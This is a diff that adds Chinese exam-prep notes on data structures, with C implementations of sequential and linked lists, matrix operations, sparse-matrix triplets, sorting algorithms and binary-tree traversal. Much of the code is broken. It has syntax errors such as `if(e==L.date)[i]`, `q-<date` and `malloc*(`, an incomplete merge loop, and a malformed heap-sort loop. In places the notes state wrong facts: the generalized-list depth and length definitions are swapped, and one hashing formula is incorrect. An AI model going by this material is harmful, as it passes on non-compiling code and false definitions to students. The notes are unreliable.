<table><thead><th align="right">解决冲突的方法</th><th align="center">查找成功时</th><th align="left">查找不成功时</th>
|
||||||
|
</thead><tbody><td align="right">线性查找法</td><td align="center">`[1+1/(1-a)]/2`</td><td align="left">`[1+1/(1-a)^2]/2`</td>
|
||||||
|
<td align="right">平方探查法</td><td align="center">`-(1/a)ln(1-a)`</td><td align="left">`1/(1-a)`</td>
|
||||||
|
<td align="right">链地址法</td><td align="center">`1+a/2`</td><td align="left">`a+e^a≈a`</td>
|
||||||
|
</tbody></table>
|
||||||
|
**特别注意链地址法的ASL2求法**
|
||||||
|
|
|
@ -0,0 +1,335 @@
|
||||||
|
# 原创
|
||||||
|
: 第二章 线性表
|
||||||
|
|
||||||
|
# 第二章 线性表
|
||||||
|
|
||||||
|
# 1.线性表的基本操作
|
||||||
|
|
||||||
|
## 1.1 结构体定义
|
||||||
|
|
||||||
|
```
|
||||||
|
//顺序表
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
int date[maxSize];
|
||||||
|
int length;
|
||||||
|
}Sqlist;
|
||||||
|
|
||||||
|
//考试中用的最多的顺序表定义
|
||||||
|
int A[maxSize];
|
||||||
|
int n;
|
||||||
|
|
||||||
|
//单链表结点定义
|
||||||
|
typedef struct LNode
|
||||||
|
{
|
||||||
|
int date;
|
||||||
|
struct LNode *next;
|
||||||
|
}LNode;
|
||||||
|
|
||||||
|
//双链表结点定义
|
||||||
|
typedef struct DLNode
|
||||||
|
{
|
||||||
|
int date;
|
||||||
|
struct DLNode *prior;
|
||||||
|
struct DLNode *next;
|
||||||
|
}DLNode;
|
||||||
|
//制作结点,为新结点分配内存空间(针对没有头结点的指针)
|
||||||
|
LNode *A = (LNode*)malloc(sizeof(LNode));
|
||||||
|
```
|
||||||
|
|
||||||
|
## 1.2 顺序表的操作
|
||||||
|
|
||||||
|
```
|
||||||
|
//向列表中插入元素x,使顺序表仍然保持递增序列
|
||||||
|
//功能函数
|
||||||
|
int findeElem(Sqlist L,int x)
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
for(i=0;i<L.length;i++)
|
||||||
|
{
|
||||||
|
if(x<L.date[i])return i;
|
||||||
|
}
|
||||||
|
return i;
|
||||||
|
}
|
||||||
|
//接口函数
|
||||||
|
void insertElem(Sqlist &L,int x)
|
||||||
|
{
|
||||||
|
int p,i;
|
||||||
|
p = findElem(L,x);
|
||||||
|
for(i=L.length-1;i>=p;--i)
|
||||||
|
L.date[i+1]=L.date[i];
|
||||||
|
L.date[p]=x;
|
||||||
|
++(L.length);
|
||||||
|
}
|
||||||
|
|
||||||
|
//算法:在顺序表中查找第一个等于e的元素
|
||||||
|
int findElem(Sqlist L,int e)
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
for(i=0;i<L.length;++i)
|
||||||
|
if(e==L.date)[i]return i;
|
||||||
|
return -1;//失败标记
|
||||||
|
}
|
||||||
|
|
||||||
|
//算法:插入数据元素
|
||||||
|
int insertElem(Sqlist &L,int p,int e)
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
if(p<0||p>L.length||L.length==maxSize)return 0;
|
||||||
|
for(i=L.length-1;i>=p;--i)
|
||||||
|
L.date[i+1]=L.date[i];
|
||||||
|
L.date[p]=e;
|
||||||
|
++(L.length);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
//算法:删除数据元素
|
||||||
|
int deleteElem(Sqlist &L,int p,int &e)
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
if(p<0||p>L.length)return 0;
|
||||||
|
e=L.date[p];
|
||||||
|
for(i=p;i<L.length;i++)
|
||||||
|
L.date[i]=L.date[i+1];
|
||||||
|
--(L.length);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
//算法:初始化顺序表
|
||||||
|
void initList(Sqlist &L)
|
||||||
|
{
|
||||||
|
L.length=0;
|
||||||
|
}
|
||||||
|
|
||||||
|
//算法:求指定位置元素
|
||||||
|
int getElem(Sqlist L,int p,int &e)
|
||||||
|
{
|
||||||
|
if(p<0||p>L.length-1)return 0;
|
||||||
|
e=L.date[p];
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## 1.3 单链表操作
|
||||||
|
|
||||||
|
```
|
||||||
|
void merge(LNode *A,LNode *B,LNode *&C)
|
||||||
|
{
|
||||||
|
LNode *p=A->next;
|
||||||
|
LNode *q=B->next;
|
||||||
|
LNode *r;
|
||||||
|
C = A;
|
||||||
|
C->next=NULL;
|
||||||
|
free(B);
|
||||||
|
r = C;
|
||||||
|
while(p!=NULL&&q!=NULL)
|
||||||
|
{
|
||||||
|
if(p->date<=q->date)
|
||||||
|
{
|
||||||
|
r->next=p;
|
||||||
|
p=p->next;
|
||||||
|
r=r->next;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
r->next=q;
|
||||||
|
q=q->next;
|
||||||
|
r=r->next;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
r->next=NULL;
|
||||||
|
if(p!=NULL)r->next=p;
|
||||||
|
if(q!=NUll)r->next=q;
|
||||||
|
}
|
||||||
|
|
||||||
|
//算法:尾插法将数组中n个元素建立链表C
|
||||||
|
void creatlistR(LNode *&C,int a[],int n)
|
||||||
|
{
|
||||||
|
LNode *s,*r;
|
||||||
|
int i;
|
||||||
|
C = (LNode*)malloc(sizeof(LNode));
|
||||||
|
C->next=NULL;
|
||||||
|
r=C;
|
||||||
|
for(i=0;i<n;i++)
|
||||||
|
{
|
||||||
|
s=(LNode*)malloc(sizeof(LNode));
|
||||||
|
s->date=a[i];
|
||||||
|
r->next=s;
|
||||||
|
r=r->next;
|
||||||
|
}
|
||||||
|
r->next=NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
//算法:头插法
|
||||||
|
void creatlistF(LNode *&C,int a[],int n)
|
||||||
|
{
|
||||||
|
LNode *s;
|
||||||
|
int i;
|
||||||
|
C=(LNode*)malloc(sizeof(LNode));
|
||||||
|
C->next=NULL;
|
||||||
|
for(i=0;i<n;i++)
|
||||||
|
{
|
||||||
|
s=(LNode*)malloc(sizeof(LNode));
|
||||||
|
s->date=a[i];
|
||||||
|
s->next=C->next;
|
||||||
|
C->next=s;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//归并成递减的单链表算法
|
||||||
|
void merge(LNode *A,LNode *B,LNode *&C)
|
||||||
|
{
|
||||||
|
LNode *p=A->next;
|
||||||
|
LNode *q=B->next;
|
||||||
|
LNode *s;
|
||||||
|
C=A;
|
||||||
|
C->next=NULL;
|
||||||
|
free(B);
|
||||||
|
while(p!NULL&&q!NULL)
|
||||||
|
{
|
||||||
|
if(p->date<=q-<date)
|
||||||
|
{
|
||||||
|
s=p;
|
||||||
|
p=p->next;
|
||||||
|
s->next=C->next;
|
||||||
|
C->next=s;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
while(p!=NULL)
|
||||||
|
{
|
||||||
|
s=p;
|
||||||
|
p=p->next;
|
||||||
|
s->next=C->next;
|
||||||
|
C->next=s;
|
||||||
|
}
|
||||||
|
while(q!=NULL)
|
||||||
|
{
|
||||||
|
s=q;
|
||||||
|
q=q->next;
|
||||||
|
s->next=C->next;
|
||||||
|
C->next=s;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//单链表插入结点
|
||||||
|
s->next=p->next;
|
||||||
|
p->next=s;
|
||||||
|
|
||||||
|
//结点删除
|
||||||
|
q=p->next;
|
||||||
|
p->next=p->next->next;
|
||||||
|
free(q);
|
||||||
|
|
||||||
|
//查找链表中是否存在值为x的结点,如果存在就删除,并返回1
|
||||||
|
int findAndDelete(LNode *C,int x)
|
||||||
|
{
|
||||||
|
LNode *p,*q;
|
||||||
|
p=c;
|
||||||
|
while(p->next!=NULL)
|
||||||
|
{
|
||||||
|
if(p->next->date==x)
|
||||||
|
break;
|
||||||
|
p=p->next;
|
||||||
|
}
|
||||||
|
if(p->next==NULL)return 0;
|
||||||
|
else
|
||||||
|
{
|
||||||
|
q = p->next;
|
||||||
|
p->next=p->next->next;
|
||||||
|
free(q);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## 1.4 双链表操作
|
||||||
|
|
||||||
|
```
|
||||||
|
//尾插法建立双链表
|
||||||
|
void createDlistR(DLNode *&L,int a[],int n)
|
||||||
|
{
|
||||||
|
DLNode *s,*r;
|
||||||
|
int i;
|
||||||
|
L=(DLNode*)malloc(sizeof(DLNode))
|
||||||
|
L->prior=NULL;
|
||||||
|
L->next=NULL;
|
||||||
|
r=L;
|
||||||
|
for(i=0;i<n;i++)
|
||||||
|
{
|
||||||
|
s=(DLNode*)malloc(sizeof(DLNode));
|
||||||
|
s->date=a[i];
|
||||||
|
r->next=s;
|
||||||
|
s->prior=r;
|
||||||
|
r=s;
|
||||||
|
}
|
||||||
|
r->next=NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
//插入结点的算法
|
||||||
|
s->next=p->next;
|
||||||
|
s->prior=p;
|
||||||
|
p->next=s;
|
||||||
|
s->next->prior=s
|
||||||
|
|
||||||
|
//删除结点的算法
|
||||||
|
q=p->next;
|
||||||
|
p->next=q->next;
|
||||||
|
q->next->prior=p;
|
||||||
|
free(q);
|
||||||
|
```
|
||||||
|
|
||||||
|
## 1.5 循环链表操作
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# 2.实例
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
void insertElem(int A[],int m,int n)
|
||||||
|
{
|
||||||
|
int i,j;
|
||||||
|
int temp;
|
||||||
|
for(i=m;i<m+n-1;++i)
|
||||||
|
{
|
||||||
|
temp=A[i];
|
||||||
|
for(j=i-1;j>=0&&temp<A[j];--j)
|
||||||
|
A[j+1]=A[j];
|
||||||
|
A[j+1]=temp;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
void diffrence(LNode *A,LNode *B)
|
||||||
|
{
|
||||||
|
LNode *p=A->next;
|
||||||
|
LNode *q=B->next;
|
||||||
|
LNode *pre=A;
|
||||||
|
while(p!=NULL&&q!=NULL)
|
||||||
|
{
|
||||||
|
if(p->date<q->date)
|
||||||
|
{
|
||||||
|
pre=p;
|
||||||
|
p=p->next;
|
||||||
|
}
|
||||||
|
else if(p->date>q->date)
|
||||||
|
q=q->next;
|
||||||
|
else
|
||||||
|
{
|
||||||
|
pre->next=p->next;
|
||||||
|
r=p;
|
||||||
|
p=p->next;
|
||||||
|
free(r);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
|
@ -0,0 +1,186 @@
|
||||||
|
# 原创
|
||||||
|
: 第五章 数组、矩阵与广义表
|
||||||
|
|
||||||
|
# 第五章 数组、矩阵与广义表
|
||||||
|
|
||||||
|
# 一、矩阵的压缩存储
|
||||||
|
|
||||||
|
```
|
||||||
|
//矩阵定义
|
||||||
|
#define m 4
|
||||||
|
#define n 5
|
||||||
|
int A[m][n];
|
||||||
|
|
||||||
|
//1.矩阵的转置
|
||||||
|
void trsmat(int A[][maxSize], int B[][maxSize], int m, int n)
|
||||||
|
{
|
||||||
|
for(int i=0;i<m;++i)
|
||||||
|
for(int j=0;j<n;++j) B[j][i]=A[i][j];
|
||||||
|
}
|
||||||
|
|
||||||
|
//2.矩阵相加
|
||||||
|
void addmat(int C[][maxSize],int A[][maxSize],int B[][maxSize],int m, int n)
|
||||||
|
{
|
||||||
|
for(int i=0;i<m;++i)
|
||||||
|
for(int j=0;i<n;++j) C[i][j]=A[i][j]+B[i][j];
|
||||||
|
}
|
||||||
|
|
||||||
|
//3.矩阵相乘A:M*N,B:N*K,C:M*K
|
||||||
|
void mutmat(int C[][maxSize],int A[][maxSize],int B[][maxSzie],int m,int n,int k)
|
||||||
|
{
|
||||||
|
for(int i=0;i<m;++i)
|
||||||
|
{
|
||||||
|
for(int j=0;j<k;++j)
|
||||||
|
{
|
||||||
|
C[i][j]=0;
|
||||||
|
for(int h=0;h<n;++h) C[i][j]+=A[i][h]*B[h][j];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
# 二、特殊矩阵和稀疏矩阵
|
||||||
|
|
||||||
|
```
|
||||||
|
//1.三元组表示法
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
int val;
|
||||||
|
int i,j;
|
||||||
|
}Trimat;
|
||||||
|
Trimat trimat[maxterms+1];
|
||||||
|
//trimat[k].i和trimat[k].j表示取第k个非零元素在矩阵中的行下标和列下标
|
||||||
|
|
||||||
|
//也可以直接定义为
|
||||||
|
int trimat[maxterms+1][3]
|
||||||
|
//trimat[k][0]表示原矩阵按照行优先顺序的第k个非零元素的值
|
||||||
|
//trimat[k][1]、trimat[k][2]表示第k个非零元素在矩阵中的位置
|
||||||
|
//trimat[0][0],trimat[0][1]和trimat[0][2]为原矩阵非零元素个数,矩阵行数和列数
|
||||||
|
//如果矩阵元素为float类型,则定义为:
|
||||||
|
//float trimat[maxterms+1][3];
|
||||||
|
(int)trimat[k][1];//需要进行强制类型转换
|
||||||
|
(int)trimat[k][2];
|
||||||
|
```
|
||||||
|
|
||||||
|
建立三元组:
|
||||||
|
|
||||||
|
```
|
||||||
|
void createtrimat(float A[][maxSize],int m,int n,float B[][3])
|
||||||
|
{
|
||||||
|
int k=1;
|
||||||
|
for(int i=0;i<m;++i)
|
||||||
|
{
|
||||||
|
for(int j=0;j<n)
|
||||||
|
{
|
||||||
|
if(A[i]A[j]!=0)
|
||||||
|
{
|
||||||
|
B[k][0]=A[i][j];
|
||||||
|
B[k][1]=i;
|
||||||
|
B[k][2]=j;
|
||||||
|
++k;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
B[0][0]=k-1;
|
||||||
|
B[0][1]=m;
|
||||||
|
B[0][2]=n;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
//通过三元组打印矩阵
|
||||||
|
|
||||||
|
```
|
||||||
|
void print(float B[][3])
|
||||||
|
{
|
||||||
|
int k=1;
|
||||||
|
for(int i=0;i<B[0][1];++i)
|
||||||
|
{
|
||||||
|
for(int j=0;j<B[0][2];++j)
|
||||||
|
{
|
||||||
|
if(i==(int)B[k][1]&&j==(int)B[k][2])
|
||||||
|
{
|
||||||
|
cout<<B[k][0]<<" ";
|
||||||
|
++k;
|
||||||
|
}
|
||||||
|
else cout<<"0 ";
|
||||||
|
}
|
||||||
|
cout<<endl;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
# 三、十字链表
|
||||||
|
|
||||||
|
```
|
||||||
|
//普通结点定义
|
||||||
|
typedef struct QNode
|
||||||
|
{
|
||||||
|
int row, col;//行数,列数
|
||||||
|
struct OLNode *right, *down;
|
||||||
|
float val;
|
||||||
|
}OLNode;
|
||||||
|
|
||||||
|
//头结点结构定义
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
OLNode *rhead, *chead;//指向两头结点数组的指针
|
||||||
|
int m,n,k; //矩阵行数、列数以及非零结点总数
|
||||||
|
}CrossList;
|
||||||
|
|
||||||
|
//example:给定一个稀疏矩阵A,其尺寸为m*n,非零元素个数为k,建立其对应的十字链表存储结构
|
||||||
|
int createcrossListmat(float A[][maxSize],int m, int n,int k,CrossList &M)
|
||||||
|
{
|
||||||
|
if(M.rhead)free(M.rhead);
|
||||||
|
if(M.chead)free(M.chead);
|
||||||
|
M.m=m;
|
||||||
|
M.n=n;
|
||||||
|
M.k=k;
|
||||||
|
//申请头结点数组数组空间
|
||||||
|
if(!(M.rhead=(OLNode*)malloc(sizeof(OLNode)*m)))return 0;
|
||||||
|
if(!(M.rhead=(OLNode*)malloc(sizeof(OLNode)*m)))return 0;
|
||||||
|
//头结点数组right和down指针置空(头行置空)
|
||||||
|
for(int i=0;i<m;++i)
|
||||||
|
{
|
||||||
|
M.rhead[i].right=NULL;
|
||||||
|
M.rhead[i].down=NULL;
|
||||||
|
}
|
||||||
|
//左列置空
|
||||||
|
for(int i=0;i<n;++i)
|
||||||
|
{
|
||||||
|
M.chead[i].right=NULL;
|
||||||
|
M.chead[i].down=NULL;
|
||||||
|
}
|
||||||
|
//建立列链表的辅助指针数组
|
||||||
|
OLNode *temp_r[maxSize];
|
||||||
|
for(int j=0;j<n;++j) temp_r[j]=&(M.chead[j]);
|
||||||
|
for(int i=0;i<m;++i)
|
||||||
|
{
|
||||||
|
OLNoden *c=&(M.rhead[i]);
|
||||||
|
for(int j=0;j<n;++j)
|
||||||
|
{
|
||||||
|
if(A[i][j]!=0)
|
||||||
|
{
|
||||||
|
OLNode *p=(OLNode*)malloc*(sizeof(OLNode));
|
||||||
|
p->row=i;
|
||||||
|
p->col=j;
|
||||||
|
p->val=A[i][j];
|
||||||
|
p->down=NULL;
|
||||||
|
p->right=NULL;
|
||||||
|
c->right=p;
|
||||||
|
c=p;
|
||||||
|
temp_r[i]->down=p;
|
||||||
|
temp_r[j]=p;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
# 四、广义表
|
||||||
|
|
||||||
|
>
|
||||||
|
广义表:表元素可以是原子或者广义表的一种线性表的扩展结构 <br/> 广义表的深度:表中最上层元素的个数 <br/> 广义表的长度:表中括号的最大层数 <br/> 表头和表尾:当广义表非空时,第一个元素为广义表的表头,其余元素组成的表是广义表的表尾 <br/> - <br/> 头尾链表存储结构(类似于不带头结点的单链表)两种结点: <br/> 原子结点:标记域和数据域
|
||||||
|
<h2>广义表结点:标记域、头指针、尾指针</h2>
|
||||||
|
扩展线性表存储结构(类似于带头结点的单链表存储结构)l两种结点: <br/> 原子结点:标记域、数据域和尾指针域 <br/> 广义表结点:标记域、头指针域和尾指针域
|
||||||
|
|
|
@ -0,0 +1,210 @@
|
||||||
|
# 原创
|
||||||
|
: 第八章 排序算法
|
||||||
|
|
||||||
|
# 第八章 排序算法
|
||||||
|
|
||||||
|
```
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
//1.插入排序
|
||||||
|
void InsetSort(int R[], int n)
|
||||||
|
{
|
||||||
|
int i,j,temp;
|
||||||
|
for(i=1;i<n;++i)
|
||||||
|
{
|
||||||
|
//将待插关键字存入temp中
|
||||||
|
temp=R[i];
|
||||||
|
j=i-1;
|
||||||
|
while(j>=0&&temp<R[j])
|
||||||
|
{
|
||||||
|
R[j+1]=R[j];
|
||||||
|
--j;
|
||||||
|
}
|
||||||
|
//j+1相当于需要插入的关键字的位置
|
||||||
|
R[j+1]=temp;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//2.折半插入排序
|
||||||
|
//返回有序关键字
|
||||||
|
int order(int R[], int n)
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
for(i=0;i<n;++i)
|
||||||
|
{
|
||||||
|
if(R[i]>R[i+1])return i;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void HarfSort(int R[], int n)
|
||||||
|
{
|
||||||
|
int i,j,m;
|
||||||
|
int s,k,temp;
|
||||||
|
int high;
|
||||||
|
high = order(R,n);
|
||||||
|
for(s=high+1;s<n;++s)
|
||||||
|
{
|
||||||
|
temp=R[s];//待插关键字
|
||||||
|
i=0;j=s-1;//需要将temp其中插入的序列
|
||||||
|
while(i<=j)
|
||||||
|
{
|
||||||
|
//有序中间关键字
|
||||||
|
m=(i+j)/2;
|
||||||
|
//如果关键字的值小于中间值,则右边等于中间关键字
|
||||||
|
if(temp<R[m])j=m-1;
|
||||||
|
else i=m+1;
|
||||||
|
}
|
||||||
|
//将元素右移,方便关键字插入
|
||||||
|
for(k=s-1;k>=m;--k)R[k+1]=R[k];
|
||||||
|
R[i]=temp; //不知道为什么是i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//3.起泡排序
|
||||||
|
void BubbleSort(int R[], int n)
|
||||||
|
{
|
||||||
|
int i,j,flag,temp;
|
||||||
|
for(i=n-1;i>=0;--i)
|
||||||
|
{
|
||||||
|
flag=0;
|
||||||
|
for(j=1;j<=i;++j)
|
||||||
|
{
|
||||||
|
if(R[j-1]>R[j])
|
||||||
|
{
|
||||||
|
temp=R[j-1];
|
||||||
|
R[j-1]=R[j] ;
|
||||||
|
R[j]=temp;
|
||||||
|
flag=1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if(flag==0)return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
//4.起泡排序2
|
||||||
|
void BubbleSort2(int R[], int n)
|
||||||
|
{
|
||||||
|
int i,temp;
|
||||||
|
int len = n;
|
||||||
|
while(len>0)
|
||||||
|
{
|
||||||
|
for(i=0;i<n-1;++i)
|
||||||
|
{
|
||||||
|
if(R[i]>R[i+1])
|
||||||
|
{
|
||||||
|
temp=R[i];
|
||||||
|
R[i]=R[i+1];
|
||||||
|
R[i+1]=temp;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
--len;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//5.快速排序
|
||||||
|
void QuikSort(int R[], int low, int high)
|
||||||
|
{
|
||||||
|
int temp;
|
||||||
|
int i=low, j=high;
|
||||||
|
if(low<high)
|
||||||
|
{
|
||||||
|
temp=R[low];
|
||||||
|
while(i<j&&R[j]>=temp)--j;
|
||||||
|
if(i<j)
|
||||||
|
{
|
||||||
|
R[i]=R[j];
|
||||||
|
++i;
|
||||||
|
}
|
||||||
|
while(i<j&&R[i]<temp)++i;
|
||||||
|
if(i<j)
|
||||||
|
{
|
||||||
|
R[j]=R[i];
|
||||||
|
--j;
|
||||||
|
}
|
||||||
|
R[i]=temp;
|
||||||
|
QuikSort(R,low,i-1);
|
||||||
|
QuikSort(R,i+1,high);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//6.简单选择排序
|
||||||
|
//挑出最小的关键字
|
||||||
|
void SelectSort(int R[], int n)
|
||||||
|
{
|
||||||
|
int i,j,k,temp;
|
||||||
|
for(i=0;i<n;++i)
|
||||||
|
{
|
||||||
|
k=i;
|
||||||
|
for(j=i+1;j<n;++j)
|
||||||
|
{
|
||||||
|
if(R[k]>R[j])
|
||||||
|
k=j;
|
||||||
|
}
|
||||||
|
temp=R[i];
|
||||||
|
R[i]=R[k];
|
||||||
|
R[k]=temp;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//7.堆排序
|
||||||
|
// 完成low到high上的low结点的调整
|
||||||
|
void Sift(int R[], int low, int high)
|
||||||
|
{
|
||||||
|
int i=low,j=2*i+1;
|
||||||
|
int temp=R[i];
|
||||||
|
|
||||||
|
while(j<=high)
|
||||||
|
{
|
||||||
|
if(j<high&&R[j]<R[j+1])
|
||||||
|
++j;
|
||||||
|
if(temp<R[j])
|
||||||
|
{
|
||||||
|
R[i]=R[j];
|
||||||
|
i=j;
|
||||||
|
j=2*i+1;
|
||||||
|
}
|
||||||
|
else break;
|
||||||
|
}
|
||||||
|
R[i]=temp;
|
||||||
|
}
|
||||||
|
|
||||||
|
void HeapSort(int R[], int n)
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
int temp;
|
||||||
|
//建立初始堆
|
||||||
|
for(i<n/2;i>=0;--i)
|
||||||
|
Sift(R,i,n);
|
||||||
|
//出栈
|
||||||
|
for(i=n-1;i>=1;--i)
|
||||||
|
{
|
||||||
|
temp=R[0];
|
||||||
|
R[0]=R[i];
|
||||||
|
R[i]=temp;
|
||||||
|
Sift(R,0,i-1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//8.测试
|
||||||
|
int main()
|
||||||
|
{
|
||||||
|
int i,len;
|
||||||
|
int R[10]= {99,6,7,4,5,5,4,8,29,20};
|
||||||
|
len=sizeof(R)/sizeof(R[0]);
|
||||||
|
|
||||||
|
//InsetSort(R, len);
|
||||||
|
//HarfSort(R,len);
|
||||||
|
//BubbleSort(R, len);
|
||||||
|
//BubbleSort2(R,len);
|
||||||
|
QuikSort(R,0,len-1);
|
||||||
|
//SelectSort(R,len);
|
||||||
|
//HeapSort(R,len);
|
||||||
|
|
||||||
|
for(i=0;i<len;++i)printf("%d\n",R[i]);
|
||||||
|
|
||||||
|
printf("Press enter to continue ...");
|
||||||
|
getchar();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
|
@ -0,0 +1,656 @@
|
||||||
|
# 原创
|
||||||
|
: 第六章 树与二叉树
|
||||||
|
|
||||||
|
# 第六章 树与二叉树
|
||||||
|
|
||||||
|
# 一、二叉树的主要性质
|
||||||
|
|
||||||
|
>
|
||||||
|
叶子结点数:n0 <br/> 单分支结点:n1 <br/> 双分支结点:n2 <br/> 总结点数:n0+n1+n2 <br/> 总分支数:n1 + 2n2 = 总结点数 - 1 ,即n0 = n2 +1 <br/> 叶子结点:双分支结点 + 1
|
||||||
|
|
||||||
|
|
||||||
|
# 二、二叉树的存储结构
|
||||||
|
|
||||||
|
```
|
||||||
|
//1.顺序存储结构:采用一维数组进行存储,适合完全二叉树,用于一般结构的二叉树则会浪费大量存储空间;
|
||||||
|
//2.链式存储结构:
|
||||||
|
typedef struct BTNode
|
||||||
|
{
|
||||||
|
char date;
|
||||||
|
struct BTNode *lchild;
|
||||||
|
sturct BTNode *rchild;
|
||||||
|
}BTNode;
|
||||||
|
```
|
||||||
|
|
||||||
|
# 三、二叉树的遍历算法
|
||||||
|
|
||||||
|
## 1.二叉树简单遍历算法
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
//1.先序遍历
|
||||||
|
void preorder(BTNode *p)
|
||||||
|
{
|
||||||
|
if(p!=NULL)
|
||||||
|
{
|
||||||
|
Visit(p); //访问根节点
|
||||||
|
preorder(p->lchild); //先遍历左子树
|
||||||
|
preorder(p->rchild); //后遍历右子树
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//2.中序遍历
|
||||||
|
void inorder(BTNode *p)
|
||||||
|
{
|
||||||
|
if(p!=NULL)
|
||||||
|
{
|
||||||
|
inorder(p->lchild);
|
||||||
|
Visit(p);
|
||||||
|
inorder(p->rchild);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//3.后序遍历
|
||||||
|
void posorder(BTNode *p)
|
||||||
|
{
|
||||||
|
if(p!=NULL)
|
||||||
|
{
|
||||||
|
posorder(p->lchild);
|
||||||
|
posorder(p->rchild);
|
||||||
|
Visit(p);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## 2.例程
|
||||||
|
|
||||||
|
1.将表达式(a-(b+c))*(d/e)存储在以二叉链表为结构的二叉树中
|
||||||
|
|
||||||
|
```
|
||||||
|
//明显是要用后序遍历
|
||||||
|
int op(int a,int b,char Op)
|
||||||
|
{
|
||||||
|
if(op=='+')return a+b;
|
||||||
|
if(op=='-')return a-b;
|
||||||
|
if(op=='*')return a*b;
|
||||||
|
if(op=='/')
|
||||||
|
{
|
||||||
|
if(b==0)
|
||||||
|
{
|
||||||
|
cout<<"ERROR"<<endl;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
else return a/b;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int com(BTNode *p)
|
||||||
|
{
|
||||||
|
int A,B;
|
||||||
|
if(p!=NULL)
|
||||||
|
{
|
||||||
|
if(p->lchild!=NULL&&p->rchild!=NULL)
|
||||||
|
{
|
||||||
|
A=com(p->lchild);
|
||||||
|
B=com(p->rchild);
|
||||||
|
return op(A,B,p->date);
|
||||||
|
}
|
||||||
|
else return p->date-'0';
|
||||||
|
//如果当前结点的左右子树都为空,则为数值,直接返回
|
||||||
|
//p->date-'0'是将字符型数字转换成整型数字
|
||||||
|
}
|
||||||
|
else return 0;//空树则返回0
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
2.求二叉树的深度
|
||||||
|
|
||||||
|
```
|
||||||
|
//左子树的深度为LD,右子树的深度为RD,用后序遍历
|
||||||
|
int getDepth(BTNode *p)
|
||||||
|
{
|
||||||
|
int LD,RD;
|
||||||
|
if(p==NULL)return 0;
|
||||||
|
else
|
||||||
|
{
|
||||||
|
LD=getDepth(p->lchild);
|
||||||
|
RD=getDepth(p->rchild);
|
||||||
|
return (LD>RD?LD:RD)+1;//左子树和右子树的最大值加1
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
3.查找date域值是否存在等于key的结点,存在则将q指向该结点,否则q=NULL
|
||||||
|
|
||||||
|
```
|
||||||
|
//几种遍历都可以,这里采用先序遍历
|
||||||
|
void search(BTNode *p,BTNode *&q,int key)
|
||||||
|
{
|
||||||
|
if(p!=NULL)
|
||||||
|
{
|
||||||
|
if(p->date==key) q=p;
|
||||||
|
else
|
||||||
|
{
|
||||||
|
search(p->lchild,q,key);
|
||||||
|
search(p->rchild,q,key);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//改进:左子树查找到满足要求的结点后,无须继续查找右子树
|
||||||
|
//称加入的这种操作称为截枝操作
|
||||||
|
void search(BTNode *p,BTNode *&q,int key)
|
||||||
|
{
|
||||||
|
if(p!=NULL)
|
||||||
|
{
|
||||||
|
if(p->date==key)q=p;
|
||||||
|
else
|
||||||
|
{
|
||||||
|
search(p->lchild,q,key)
|
||||||
|
//截枝操作
|
||||||
